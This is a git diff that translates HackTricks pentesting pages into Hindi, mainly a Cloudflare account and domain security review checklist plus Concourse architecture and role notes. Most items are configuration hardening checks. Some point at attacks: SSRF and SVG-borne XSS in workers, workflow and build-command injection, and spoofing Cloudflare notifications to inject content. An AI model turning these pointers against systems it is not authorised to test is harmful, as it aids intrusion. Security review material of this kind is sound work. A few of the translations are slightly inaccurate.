index cce1642c4..baf6eb5f6 100644
--- a/src/pentesting-ci-cd/cloudflare-security/README.md
+++ b/src/pentesting-ci-cd/cloudflare-security/README.md
@@ -1,99 +1,99 @@
-# Cloudflare Security
+# Cloudflare सुरक्षा
{{#include ../../banners/hacktricks-training.md}}
-In a Cloudflare account there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
+एक Cloudflare खाते में कुछ **सामान्य सेटिंग्स और सेवाएँ** होती हैं जिन्हें कॉन्फ़िगर किया जा सकता है। इस पृष्ठ पर हम प्रत्येक अनुभाग की **सुरक्षा से संबंधित सेटिंग्स का विश्लेषण** करने जा रहे हैं:
-## Websites
+## वेबसाइटें
-Review each with:
+प्रत्येक की समीक्षा करें:
{{#ref}}
cloudflare-domains.md
{{#endref}}
-### Domain Registration
+### डोमेन पंजीकरण
-- [ ] In **`Transfer Domains`** check that it's not possible to transfer any domain.
+- [ ] **`Transfer Domains`** में जांचें कि किसी भी डोमेन को स्थानांतरित करना संभव नहीं है।
-Review each with:
+प्रत्येक की समीक्षा करें:
{{#ref}}
cloudflare-domains.md
{{#endref}}
-## Analytics
+## विश्लेषण
-_मैंने कॉन्फ़िगरेशन सुरक्षा समीक्षा के लिए कुछ नहीं पाया।_
+_मैंने कॉन्फ़िग सुरक्षा समीक्षा के लिए कुछ नहीं पाया।_
-## Pages
+## पृष्ठ
-On each Cloudflare's page:
+प्रत्येक Cloudflare के पृष्ठ पर:
-- [ ] Check for **sensitive information** in the **`Build log`**.
-- [ ] Check for **sensitive information** in the **Github repository** assigned to the pages.
-- [ ] Check for potential github repo compromise via **workflow command injection** or `pull_request_target` compromise. More info in the [**Github Security page**](../github-security/).
-- [ ] Check for **vulnerable functions** in the `/fuctions` directory (if any), check the **redirects** in the `_redirects` file (if any) and **misconfigured headers** in the `_headers` file (if any).
-- [ ] Check for **vulnerabilities** in the **web page** via **blackbox** or **whitebox** if you can **access the code**
-- [ ] In the details of each page `//pages/view/blocklist/settings/functions`. Check for **sensitive information** in the **`Environment variables`**.
-- [ ] In the details page check also the **build command** and **root directory** for **potential injections** to compromise the page.
+- [ ] **`Build log`** में **संवेदनशील जानकारी** की जांच करें।
+- [ ] पृष्ठों को सौंपे गए **Github repository** में **संवेदनशील जानकारी** की जांच करें।
+- [ ] **workflow command injection** या `pull_request_target` समझौते के माध्यम से संभावित github repo समझौते की जांच करें। अधिक जानकारी [**Github सुरक्षा पृष्ठ**](../github-security/) में है।
+- [ ] `/fuctions` निर्देशिका में **कमजोर कार्यों** की जांच करें (यदि कोई हो), `_redirects` फ़ाइल में **redirects** की जांच करें (यदि कोई हो) और `_headers` फ़ाइल में **गलत कॉन्फ़िगर किए गए हेडर** की जांच करें (यदि कोई हो)।
+- [ ] यदि आप **कोड** तक पहुँच सकते हैं तो **blackbox** या **whitebox** के माध्यम से **वेब पृष्ठ** में **कमजोरियों** की जांच करें।
+- [ ] प्रत्येक पृष्ठ के विवरण `//pages/view/blocklist/settings/functions` में। **`Environment variables`** में **संवेदनशील जानकारी** की जांच करें।
+- [ ] विवरण पृष्ठ में **build command** और **root directory** की भी जांच करें कि क्या **संभावित इंजेक्शन** पृष्ठ को समझौता कर सकते हैं।
-## **Workers**
+## **कार्यकर्ता**
-On each Cloudflare's worker check:
+प्रत्येक Cloudflare के कार्यकर्ता की जांच करें:
-- [ ] The triggers: What makes the worker trigger? Can a **user send data** that will be **used** by the worker?
-- [ ] In the **`Settings`**, check for **`Variables`** containing **sensitive information**
-- [ ] Check the **code of the worker** and search for **vulnerabilities** (specially in places where the user can manage the input)
-- Check for SSRFs returning the indicated page that you can control
-- Check XSSs executing JS inside a svg image
-- It is possible that the worker interacts with other internal services. For example, a worker may interact with a R2 bucket storing information in it obtained from the input. In that case, it would be necessary to check what capabilities does the worker have over the R2 bucket and how could it be abused from the user input.
+- [ ] ट्रिगर्स: कार्यकर्ता को क्या ट्रिगर करता है? क्या एक **उपयोगकर्ता डेटा भेज सकता है** जो कार्यकर्ता द्वारा **उपयोग** किया जाएगा?
+- [ ] **`Settings`** में, **संवेदनशील जानकारी** वाले **`Variables`** की जांच करें।
+- [ ] **कार्यकर्ता के कोड** की जांच करें और **कमजोरियों** की खोज करें (विशेष रूप से उन स्थानों पर जहां उपयोगकर्ता इनपुट को प्रबंधित कर सकता है)।
+- नियंत्रित पृष्ठ को लौटाने वाले SSRFs की जांच करें।
+- SVG छवि के अंदर JS निष्पादित करने वाले XSSs की जांच करें।
+- यह संभव है कि कार्यकर्ता अन्य आंतरिक सेवाओं के साथ बातचीत करता है। उदाहरण के लिए, एक कार्यकर्ता एक R2 बकेट के साथ बातचीत कर सकता है जिसमें इनपुट से प्राप्त जानकारी संग्रहीत होती है। इस मामले में, यह जांचना आवश्यक होगा कि कार्यकर्ता के पास R2 बकेट पर क्या क्षमताएँ हैं और इसे उपयोगकर्ता इनपुट से कैसे दुरुपयोग किया जा सकता है।
> [!WARNING]
-> Note that by default a **Worker is given a URL** such as `..workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it.
+> ध्यान दें कि डिफ़ॉल्ट रूप से एक **कार्यकर्ता को एक URL** दिया जाता है जैसे `..workers.dev`। उपयोगकर्ता इसे एक **उपडोमेन** पर सेट कर सकता है लेकिन यदि आप इसे जानते हैं तो आप हमेशा उस **मूल URL** के साथ इसे एक्सेस कर सकते हैं।
## R2
-On each R2 bucket check:
+प्रत्येक R2 बकेट की जांच करें:
-- [ ] Configure **CORS Policy**.
+- [ ] **CORS नीति** कॉन्फ़िगर करें।
-## Stream
+## स्ट्रीम
TODO
-## Images
+## छवियाँ
TODO
-## Security Center
+## सुरक्षा केंद्र
-- [ ] If possible, run a **`Security Insights`** **scan** and an **`Infrastructure`** **scan**, as they will **highlight** interesting information **security** wise.
-- [ ] Just **check this information** for security misconfigurations and interesting info
+- [ ] यदि संभव हो, तो **`Security Insights`** **स्कैन** और **`Infrastructure`** **स्कैन** चलाएँ, क्योंकि वे **सुरक्षा** के दृष्टिकोण से दिलचस्प जानकारी **हाइलाइट** करेंगे।
+- [ ] सुरक्षा गलत कॉन्फ़िगरेशन और दिलचस्प जानकारी के लिए केवल **इस जानकारी** की जांच करें।
-## Turnstile
+## टर्नस्टाइल
TODO
-## **Zero Trust**
+## **जीरो ट्रस्ट**
{{#ref}}
cloudflare-zero-trust-network.md
{{#endref}}
-## Bulk Redirects
+## बल्क रीडायरेक्ट्स
> [!NOTE]
-> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior.
+> [डायनामिक रीडायरेक्ट्स](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/) के विपरीत, [**बल्क रीडायरेक्ट्स**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) मूल रूप से स्थिर हैं - वे **किसी भी स्ट्रिंग प्रतिस्थापन** संचालन या नियमित अभिव्यक्तियों का समर्थन नहीं करते हैं। हालाँकि, आप URL रीडायरेक्ट पैरामीटर कॉन्फ़िगर कर सकते हैं जो उनके URL मिलान व्यवहार और उनके रनटाइम व्यवहार को प्रभावित करते हैं।
-- [ ] Check that the **expressions** and **requirements** for redirects **make sense**.
-- [ ] Check also for **sensitive hidden endpoints** that you contain interesting info.
+- [ ] जांचें कि रीडायरेक्ट के लिए **व्यक्तिगत** और **आवश्यकताएँ** **संगत** हैं।
+- [ ] **संवेदनशील छिपे हुए एंडपॉइंट्स** के लिए भी जांचें जो दिलचस्प जानकारी रखते हैं।
-## Notifications
+## सूचनाएँ
-- [ ] Check the **notifications.** These notifications are recommended for security:
+- [ ] **सूचनाओं** की जांच करें। ये सूचनाएँ सुरक्षा के लिए अनुशंसित हैं:
- `Usage Based Billing`
- `HTTP DDoS Attack Alert`
- `Layer 3/4 DDoS Attack Alert`
@@ -113,22 +113,22 @@ cloudflare-zero-trust-network.md
- `Script Monitor New Script Exceeds Max URL Length Alert`
- `Advanced Security Events Alert`
- `Security Events Alert`
-- [ ] Check all the **destinations**, as there could be **sensitive info** (basic http auth) in webhook urls. Make also sure webhook urls use **HTTPS**
-- [ ] As extra check, you could try to **impersonate a cloudflare notification** to a third party, maybe you can somehow **inject something dangerous**
+- [ ] सभी **गंतव्यों** की जांच करें, क्योंकि वेबहुक URLs में **संवेदनशील जानकारी** (बुनियादी http प्रमाणीकरण) हो सकती है। यह भी सुनिश्चित करें कि वेबहुक URLs **HTTPS** का उपयोग करते हैं।
+- [ ] अतिरिक्त जांच के रूप में, आप किसी तीसरे पक्ष को **cloudflare सूचना** का **प्रतिरूपण** करने की कोशिश कर सकते हैं, शायद आप किसी तरह **कुछ खतरनाक इंजेक्ट** कर सकते हैं।
-## Manage Account
+## खाता प्रबंधित करें
-- [ ] It's possible to see the **last 4 digits of the credit card**, **expiration** time and **billing address** in **`Billing` -> `Payment info`**.
-- [ ] It's possible to see the **plan type** used in the account in **`Billing` -> `Subscriptions`**.
-- [ ] In **`Members`** it's possible to see all the members of the account and their **role**. Note that if the plan type isn't Enterprise, only 2 roles exist: Administrator and Super Administrator. But if the used **plan is Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) can be used to follow the least privilege principle.
-- Therefore, whenever possible is **recommended** to use the **Enterprise plan**.
-- [ ] In Members it's possible to check which **members** has **2FA enabled**. **Every** user should have it enabled.
+- [ ] **`Billing` -> `Payment info`** में **क्रेडिट कार्ड** के **अंतिम 4 अंक**, **समाप्ति** समय और **बिलिंग पता** देखना संभव है।
+- [ ] **`Billing` -> `Subscriptions`** में खाते में उपयोग किए जाने वाले **योजना प्रकार** को देखना संभव है।
+- [ ] **`Members`** में खाते के सभी सदस्यों और उनकी **भूमिका** को देखना संभव है। ध्यान दें कि यदि योजना प्रकार एंटरप्राइज नहीं है, तो केवल 2 भूमिकाएँ होती हैं: व्यवस्थापक और सुपर व्यवस्थापक। लेकिन यदि उपयोग की गई **योजना एंटरप्राइज** है, तो [**अधिक भूमिकाएँ**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) का उपयोग किया जा सकता है ताकि न्यूनतम विशेषाधिकार सिद्धांत का पालन किया जा सके।
+- इसलिए, जब भी संभव हो, **एंटरप्राइज योजना** का उपयोग करना **अनुशंसित** है।
+- [ ] सदस्यों में यह जांचना संभव है कि कौन से **सदस्यों** ने **2FA सक्षम** किया है। **हर** उपयोगकर्ता को इसे सक्षम करना चाहिए।
> [!NOTE]
-> Note that fortunately the role **`Administrator`** doesn't give permissions to manage memberships (**cannot escalate privs or invite** new members)
+> ध्यान दें कि सौभाग्य से भूमिका **`Administrator`** को सदस्यता प्रबंधन के लिए अनुमतियाँ नहीं दी जाती हैं (**विशेषाधिकार बढ़ाने या** नए सदस्यों को आमंत्रित करने की अनुमति नहीं है)।
-## DDoS Investigation
+## DDoS जांच
-[Check this part](cloudflare-domains.md#cloudflare-ddos-protection).
+[इस भाग की जांच करें](cloudflare-domains.md#cloudflare-ddos-protection).
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
index 8928d4eb8..d26367800 100644
--- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
+++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
@@ -2,29 +2,29 @@
{{#include ../../banners/hacktricks-training.md}}
-In each TLD configured in Cloudflare there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
+Cloudflare में कॉन्फ़िगर किए गए प्रत्येक TLD में कुछ **सामान्य सेटिंग्स और सेवाएँ** होती हैं जिन्हें कॉन्फ़िगर किया जा सकता है। इस पृष्ठ पर हम प्रत्येक अनुभाग की **सुरक्षा से संबंधित सेटिंग्स का विश्लेषण** करने जा रहे हैं:
### Overview
-- [ ] Get a feeling of **how much** are the services of the account **used**
-- [ ] Find also the **zone ID** and the **account ID**
+- [ ] यह जानें कि **सेवाएँ** कितनी **उपयोग की गई** हैं
+- [ ] **ज़ोन आईडी** और **खाता आईडी** भी खोजें
### Analytics
-- [ ] In **`Security`** check if there is any **Rate limiting**
+- [ ] **`Security`** में देखें कि क्या कोई **Rate limiting** है
### DNS
-- [ ] Check **interesting** (sensitive?) data in DNS **records**
-- [ ] Check for **subdomains** that could contain **sensitive info** just based on the **name** (like admin173865324.domin.com)
-- [ ] Check for web pages that **aren't** **proxied**
-- [ ] Check for **proxified web pages** that can be **accessed directly** by CNAME or IP address
-- [ ] Check that **DNSSEC** is **enabled**
-- [ ] Check that **CNAME Flattening** is **used** in **all CNAMEs**
-- This is could be useful to **hide subdomain takeover vulnerabilities** and improve load timings
-- [ ] Check that the domains [**aren't vulnerable to spoofing**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing)
+- [ ] DNS **रिकॉर्ड्स** में **दिलचस्प** (संवेदनशील?) डेटा की जांच करें
+- [ ] **सबडोमेन** की जांच करें जो केवल **नाम** के आधार पर **संवेदनशील जानकारी** रख सकते हैं (जैसे admin173865324.domin.com)
+- [ ] उन वेब पृष्ठों की जांच करें जो **प्रॉक्सी** नहीं हैं
+- [ ] उन **प्रॉक्सिफाइड वेब पृष्ठों** की जांच करें जिन्हें CNAME या IP पते द्वारा **प्रत्यक्ष रूप से** एक्सेस किया जा सकता है
+- [ ] सुनिश्चित करें कि **DNSSEC** **सक्षम** है
+- [ ] सुनिश्चित करें कि सभी CNAMEs में **CNAME Flattening** **उपयोग** किया गया है
+- यह **सबडोमेन टेकओवर कमजोरियों** को **छिपाने** और लोड समय में सुधार करने के लिए उपयोगी हो सकता है
+- सुनिश्चित करें कि डोमेन [**स्पूफिंग के लिए कमजोर नहीं हैं**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing)
### **Email**
@@ -38,44 +38,44 @@ TODO
#### **Overview**
-- [ ] The **SSL/TLS encryption** should be **Full** or **Full (Strict)**. Any other will send **clear-text traffic** at some point.
-- [ ] The **SSL/TLS Recommender** should be enabled
+- [ ] **SSL/TLS एन्क्रिप्शन** **Full** या **Full (Strict)** होना चाहिए। अन्य कोई भी कुछ समय बाद **स्पष्ट-टेक्स्ट ट्रैफ़िक** भेजेगा।
+- [ ] **SSL/TLS अनुशंसा** सक्षम होनी चाहिए
#### Edge Certificates
-- [ ] **Always Use HTTPS** should be **enabled**
-- [ ] **HTTP Strict Transport Security (HSTS)** should be **enabled**
-- [ ] **Minimum TLS Version should be 1.2**
-- [ ] **TLS 1.3 should be enabled**
-- [ ] **Automatic HTTPS Rewrites** should be **enabled**
-- [ ] **Certificate Transparency Monitoring** should be **enabled**
+- [ ] **हमेशा HTTPS का उपयोग करें** सक्षम होना चाहिए
+- [ ] **HTTP Strict Transport Security (HSTS)** सक्षम होना चाहिए
+- [ ] **न्यूनतम TLS संस्करण 1.2 होना चाहिए**
+- [ ] **TLS 1.3 सक्षम होना चाहिए**
+- [ ] **स्वचालित HTTPS पुनर्लेखन** सक्षम होना चाहिए
+- [ ] **प्रमाणपत्र पारदर्शिता निगरानी** सक्षम होनी चाहिए
### **Security**
-- [ ] In the **`WAF`** section it's interesting to check that **Firewall** and **rate limiting rules are used** to prevent abuses.
-- The **`Bypass`** action will **disable Cloudflare security** features for a request. It shouldn't be used.
-- [ ] In the **`Page Shield`** section it's recommended to check that it's **enabled** if any page is used
-- [ ] In the **`API Shield`** section it's recommended to check that it's **enabled** if any API is exposed in Cloudflare
-- [ ] In the **`DDoS`** section it's recommended to enable the **DDoS protections**
-- [ ] In the **`Settings`** section:
-- [ ] Check that the **`Security Level`** is **medium** or greater
-- [ ] Check that the **`Challenge Passage`** is 1 hour at max
-- [ ] Check that the **`Browser Integrity Check`** is **enabled**
-- [ ] Check that the **`Privacy Pass Support`** is **enabled**
+- [ ] **`WAF`** अनुभाग में यह देखना दिलचस्प है कि **फायरवॉल** और **रेट लिमिटिंग नियमों का उपयोग** दुरुपयोग को रोकने के लिए किया गया है।
+- **`Bypass`** क्रिया एक अनुरोध के लिए **Cloudflare सुरक्षा** सुविधाओं को **अक्षम** कर देगी। इसका उपयोग नहीं किया जाना चाहिए।
+- [ ] **`Page Shield`** अनुभाग में यह जांचना अनुशंसित है कि यदि कोई पृष्ठ उपयोग किया जा रहा है तो यह **सक्षम** है
+- [ ] **`API Shield`** अनुभाग में यह जांचना अनुशंसित है कि यदि कोई API Cloudflare में उजागर है तो यह **सक्षम** है
+- [ ] **`DDoS`** अनुभाग में **DDoS सुरक्षा** सक्षम करने की सिफारिश की जाती है
+- [ ] **`Settings`** अनुभाग में:
+- [ ] सुनिश्चित करें कि **`Security Level`** **मध्यम** या उससे अधिक है
+- [ ] सुनिश्चित करें कि **`Challenge Passage`** अधिकतम 1 घंटा है
+- [ ] सुनिश्चित करें कि **`Browser Integrity Check`** **सक्षम** है
+- [ ] सुनिश्चित करें कि **`Privacy Pass Support`** **सक्षम** है
#### **CloudFlare DDoS Protection**
-- If you can, enable **Bot Fight Mode** or **Super Bot Fight Mode**. If you protecting some API accessed programmatically (from a JS front end page for example). You might not be able to enable this without breaking that access.
-- In **WAF**: You can create **rate limits by URL path** or to **verified bots** (Rate limiting rules), or to **block access** based on IP, Cookie, referrer...). So you could block requests that doesn't come from a web page or has a cookie.
-- If the attack is from a **verified bot**, at least **add a rate limit** to bots.
-- If the attack is to a **specific path**, as prevention mechanism, add a **rate limit** in this path.
-- You can also **whitelist** IP addresses, IP ranges, countries or ASNs from the **Tools** in WAF.
-- Check if **Managed rules** could also help to prevent vulnerability exploitations.
-- In the **Tools** section you can **block or give a challenge to specific IPs** and **user agents.**
-- In DDoS you could **override some rules to make them more restrictive**.
-- **Settings**: Set **Security Level** to **High** and to **Under Attack** if you are Under Attack and that the **Browser Integrity Check is enabled**.
-- In Cloudflare Domains -> Analytics -> Security -> Check if **rate limit** is enabled
-- In Cloudflare Domains -> Security -> Events -> Check for **detected malicious Events**
+- यदि आप कर सकते हैं, तो **Bot Fight Mode** या **Super Bot Fight Mode** सक्षम करें। यदि आप किसी API की सुरक्षा कर रहे हैं जो प्रोग्रामेटिक रूप से एक्सेस की जाती है (उदाहरण के लिए, एक JS फ्रंट एंड पृष्ठ से)। आप इस एक्सेस को तोड़े बिना इसे सक्षम नहीं कर सकते।
+- **WAF** में: आप **URL पथ द्वारा रेट सीमाएँ** बना सकते हैं या **सत्यापित बॉट्स** के लिए (रेट लिमिटिंग नियम), या IP, कुकी, रेफरर आदि के आधार पर **एक्सेस को ब्लॉक** कर सकते हैं। इसलिए आप उन अनुरोधों को ब्लॉक कर सकते हैं जो किसी वेब पृष्ठ से नहीं आते हैं या जिनमें कुकी नहीं है।
+- यदि हमला एक **सत्यापित बॉट** से है, तो कम से कम **बॉट्स के लिए एक रेट लिमिट** जोड़ें।
+- यदि हमला एक **विशिष्ट पथ** पर है, तो रोकथाम तंत्र के रूप में, इस पथ में एक **रेट लिमिट** जोड़ें।
+- आप **WAF** में **टूल्स** से IP पते, IP रेंज, देशों या ASN को भी **व्हाइटलिस्ट** कर सकते हैं।
+- जांचें कि क्या **Managed rules** भी कमजोरियों के शोषण को रोकने में मदद कर सकते हैं।
+- **Tools** अनुभाग में आप **विशिष्ट IPs** और **उपयोगकर्ता एजेंटों** को **ब्लॉक या चुनौती** दे सकते हैं।
+- DDoS में आप **कुछ नियमों को अधिक प्रतिबंधात्मक बनाने के लिए ओवरराइड** कर सकते हैं।
+- **Settings**: **Security Level** को **High** पर सेट करें और यदि आप **Under Attack** हैं और **Browser Integrity Check सक्षम** है तो इसे **Under Attack** पर सेट करें।
+- Cloudflare Domains -> Analytics -> Security -> जांचें कि **रेट लिमिट** सक्षम है
+- Cloudflare Domains -> Security -> Events -> **पाई गई दुर्भावनापूर्ण घटनाओं** की जांच करें
### Access
@@ -85,15 +85,15 @@ cloudflare-zero-trust-network.md
### Speed
-_I couldn't find any option related to security_
+_मैंने सुरक्षा से संबंधित कोई विकल्प नहीं पाया_
### Caching
-- [ ] In the **`Configuration`** section consider enabling the **CSAM Scanning Tool**
+- [ ] **`Configuration`** अनुभाग में **CSAM स्कैनिंग टूल** को सक्षम करने पर विचार करें
### **Workers Routes**
-_You should have already checked_ [_cloudflare workers_](./#workers)
+_आपको पहले से ही_ [_cloudflare workers_](./#workers) _की जांच करनी चाहिए_
### Rules
@@ -101,9 +101,9 @@ TODO
### Network
-- [ ] If **`HTTP/2`** is **enabled**, **`HTTP/2 to Origin`** should be **enabled**
-- [ ] **`HTTP/3 (with QUIC)`** should be **enabled**
-- [ ] If the **privacy** of your **users** is important, make sure **`Onion Routing`** is **enabled**
+- [ ] यदि **`HTTP/2`** **सक्षम** है, तो **`HTTP/2 to Origin`** **सक्षम** होना चाहिए
+- [ ] **`HTTP/3 (with QUIC)`** **सक्षम** होना चाहिए
+- [ ] यदि आपके **उपयोगकर्ताओं** की **गोपनीयता** महत्वपूर्ण है, तो सुनिश्चित करें कि **`Onion Routing`** **सक्षम** है
### **Traffic**
@@ -111,7 +111,7 @@ TODO
### Custom Pages
-- [ ] It's optional to configure custom pages when an error related to security is triggered (like a block, rate limiting or I'm under attack mode)
+- [ ] जब सुरक्षा से संबंधित कोई त्रुटि उत्पन्न होती है (जैसे ब्लॉक, रेट लिमिटिंग या मैं हमले के मोड में हूँ) तो कस्टम पृष्ठों को कॉन्फ़िगर करना वैकल्पिक है
### Apps
@@ -119,8 +119,8 @@ TODO
### Scrape Shield
-- [ ] Check **Email Address Obfuscation** is **enabled**
-- [ ] Check **Server-side Excludes** is **enabled**
+- [ ] जांचें कि **Email Address Obfuscation** **सक्षम** है
+- [ ] जांचें कि **Server-side Excludes** **सक्षम** है
### **Zaraz**
diff --git a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md
index 1f84220ff..e6414549a 100644
--- a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md
@@ -4,7 +4,7 @@
{{#include ../../banners/hacktricks-training.md}}
-[**Concourse दस्तावेज़ से प्रासंगिक डेटा:**](https://concourse-ci.org/internals.html)
+[**Concourse दस्तावेज़ से संबंधित डेटा:**](https://concourse-ci.org/internals.html)
### Architecture
@@ -18,18 +18,18 @@ ATC Concourse का दिल है। यह **वेब UI और API** च
#### TSA: कार्यकर्ता पंजीकरण और अग्रेषण
-TSA एक **कस्टम-निर्मित SSH सर्वर** है जिसका उपयोग केवल [**कार्यकर्ताओं**](https://concourse-ci.org/internals.html#architecture-worker) को [ATC](https://concourse-ci.org/internals.html#component-atc) के साथ सुरक्षित रूप से **पंजीकरण** करने के लिए किया जाता है।
+TSA एक **कस्टम-निर्मित SSH सर्वर** है जिसका उपयोग केवल **पंजीकरण** के लिए किया जाता है [**कार्यकर्ताओं**](https://concourse-ci.org/internals.html#architecture-worker) को [ATC](https://concourse-ci.org/internals.html#component-atc) के साथ सुरक्षित रूप से।
-TSA **डिफ़ॉल्ट रूप से `2222` पोर्ट पर सुनता है**, और आमतौर पर [ATC](https://concourse-ci.org/internals.html#component-atc) के साथ स्थित होता है और लोड बैलेंसर के पीछे होता है।
+TSA **डिफ़ॉल्ट रूप से `2222` पोर्ट पर सुनता है**, और आमतौर पर [ATC](https://concourse-ci.org/internals.html#component-atc) के साथ सह-स्थित होता है और लोड बैलेंसर के पीछे होता है।
**TSA SSH कनेक्शन पर CLI लागू करता है,** [**इन आदेशों**](https://concourse-ci.org/internals.html#component-tsa) का समर्थन करता है।
-#### Workers
+#### कार्यकर्ता
-कार्य करने के लिए Concourse को कुछ कार्यकर्ताओं की आवश्यकता होती है। ये कार्यकर्ता [TSA](https://concourse-ci.org/internals.html#component-tsa) के माध्यम से **स्वयं को पंजीकृत** करते हैं और सेवाओं [**Garden**](https://github.com/cloudfoundry-incubator/garden) और [**Baggageclaim**](https://github.com/concourse/baggageclaim) को चलाते हैं।
+कार्यक्रमों को निष्पादित करने के लिए Concourse को कुछ कार्यकर्ताओं की आवश्यकता होती है। ये कार्यकर्ता [TSA](https://concourse-ci.org/internals.html#component-tsa) के माध्यम से **स्वयं को पंजीकृत** करते हैं और सेवाएँ चलाते हैं [**Garden**](https://github.com/cloudfoundry-incubator/garden) और [**Baggageclaim**](https://github.com/concourse/baggageclaim)।
-- **Garden**: यह **कंटेनर प्रबंधन API** है, जो आमतौर पर **HTTP** के माध्यम से **पोर्ट 7777** पर चलता है।
-- **Baggageclaim**: यह **वॉल्यूम प्रबंधन API** है, जो आमतौर पर **HTTP** के माध्यम से **पोर्ट 7788** पर चलता है।
+- **Garden**: यह **कंटेनर प्रबंधन API** है, जो आमतौर पर **पोर्ट 7777** पर **HTTP** के माध्यम से चलता है।
+- **Baggageclaim**: यह **वॉल्यूम प्रबंधन API** है, जो आमतौर पर **पोर्ट 7788** पर **HTTP** के माध्यम से चलता है।
## References
diff --git a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
index ce0a295cb..48d6e9d12 100644
--- a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
@@ -8,21 +8,21 @@
Concourse में पांच भूमिकाएँ होती हैं:
-- _Concourse_ **Admin**: यह भूमिका केवल **मुख्य टीम** (डिफ़ॉल्ट प्रारंभिक concourse टीम) के मालिकों को दी जाती है। एडमिन **अन्य टीमों को कॉन्फ़िगर** कर सकते हैं (जैसे: `fly set-team`, `fly destroy-team`...)। इस भूमिका के अनुमतियों को RBAC द्वारा प्रभावित नहीं किया जा सकता।
+- _Concourse_ **Admin**: यह भूमिका केवल **मुख्य टीम** (डिफ़ॉल्ट प्रारंभिक concourse टीम) के मालिकों को दी जाती है। एडमिन **अन्य टीमों को कॉन्फ़िगर** कर सकते हैं (जैसे: `fly set-team`, `fly destroy-team`...)। इस भूमिका की अनुमतियाँ RBAC द्वारा प्रभावित नहीं की जा सकती हैं।
- **owner**: टीम के मालिक **टीम के भीतर सब कुछ संशोधित** कर सकते हैं।
-- **member**: टीम के सदस्य **टीम की संपत्तियों के भीतर पढ़ सकते हैं और लिख सकते हैं** लेकिन टीम सेटिंग्स को संशोधित नहीं कर सकते।
-- **pipeline-operator**: पाइपलाइन ऑपरेटर **पाइपलाइन संचालन** कर सकते हैं जैसे बिल्ड को ट्रिगर करना और संसाधनों को पिन करना, हालाँकि वे पाइपलाइन कॉन्फ़िगरेशन को अपडेट नहीं कर सकते।
-- **viewer**: टीम के दर्शकों को **टीम** और इसकी पाइपलाइनों तक **"पढ़ने के लिए केवल"** पहुंच होती है।
+- **member**: टीम के सदस्य **टीम के संसाधनों के भीतर पढ़ सकते हैं और लिख सकते हैं** लेकिन टीम सेटिंग्स को संशोधित नहीं कर सकते।
+- **pipeline-operator**: पाइपलाइन ऑपरेटर **पाइपलाइन संचालन** कर सकते हैं जैसे कि बिल्ड को ट्रिगर करना और संसाधनों को पिन करना, हालाँकि वे पाइपलाइन कॉन्फ़िगरेशन को अपडेट नहीं कर सकते।
+- **viewer**: टीम के दर्शकों को **टीम** और इसके पाइपलाइनों तक **"पढ़ने के लिए केवल"** पहुंच होती है।
> [!NOTE]
-> इसके अलावा, **owner, member, pipeline-operator और viewer की भूमिकाओं के अनुमतियों को RBAC कॉन्फ़िगर करके संशोधित किया जा सकता है** (विशेष रूप से इसके कार्यों को कॉन्फ़िगर करना)। इसके बारे में अधिक पढ़ें: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
+> इसके अलावा, **owner, member, pipeline-operator और viewer की भूमिकाओं की अनुमतियाँ** RBAC को कॉन्फ़िगर करके संशोधित की जा सकती हैं (विशेष रूप से इसके कार्यों को कॉन्फ़िगर करना)। इसके बारे में अधिक पढ़ें: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
ध्यान दें कि Concourse **टीमों के भीतर पाइपलाइनों को समूहित करता है**। इसलिए, एक टीम से संबंधित उपयोगकर्ता उन पाइपलाइनों का प्रबंधन कर सकेंगे और **कई टीमें** हो सकती हैं। एक उपयोगकर्ता कई टीमों से संबंधित हो सकता है और प्रत्येक में विभिन्न अनुमतियाँ हो सकती हैं।
### Vars & Credential Manager
-YAML कॉन्फ़िग्स में आप `((_source-name_:_secret-path_._secret-field_))` सिंटैक्स का उपयोग करके मान कॉन्फ़िगर कर सकते हैं।\
-[दस्तावेज़ से:](https://concourse-ci.org/vars.html#var-syntax) **source-name वैकल्पिक है**, और यदि छोड़ा गया है, तो [क्लस्टर-व्यापी क्रेडेंशियल प्रबंधक](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) का उपयोग किया जाएगा, या मान [स्थैतिक रूप से](https://concourse-ci.org/vars.html#static-vars) प्रदान किया जा सकता है।\
+YAML कॉन्फ़िग्स में आप मानों को `((_source-name_:_secret-path_._secret-field_))` सिंटैक्स का उपयोग करके कॉन्फ़िगर कर सकते हैं।\
+[From the docs:](https://concourse-ci.org/vars.html#var-syntax) **source-name वैकल्पिक है**, और यदि छोड़ा गया है, तो [क्लस्टर-व्यापी क्रेडेंशियल प्रबंधक](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) का उपयोग किया जाएगा, या मान [स्थैतिक रूप से](https://concourse-ci.org/vars.html#static-vars) प्रदान किया जा सकता है।\
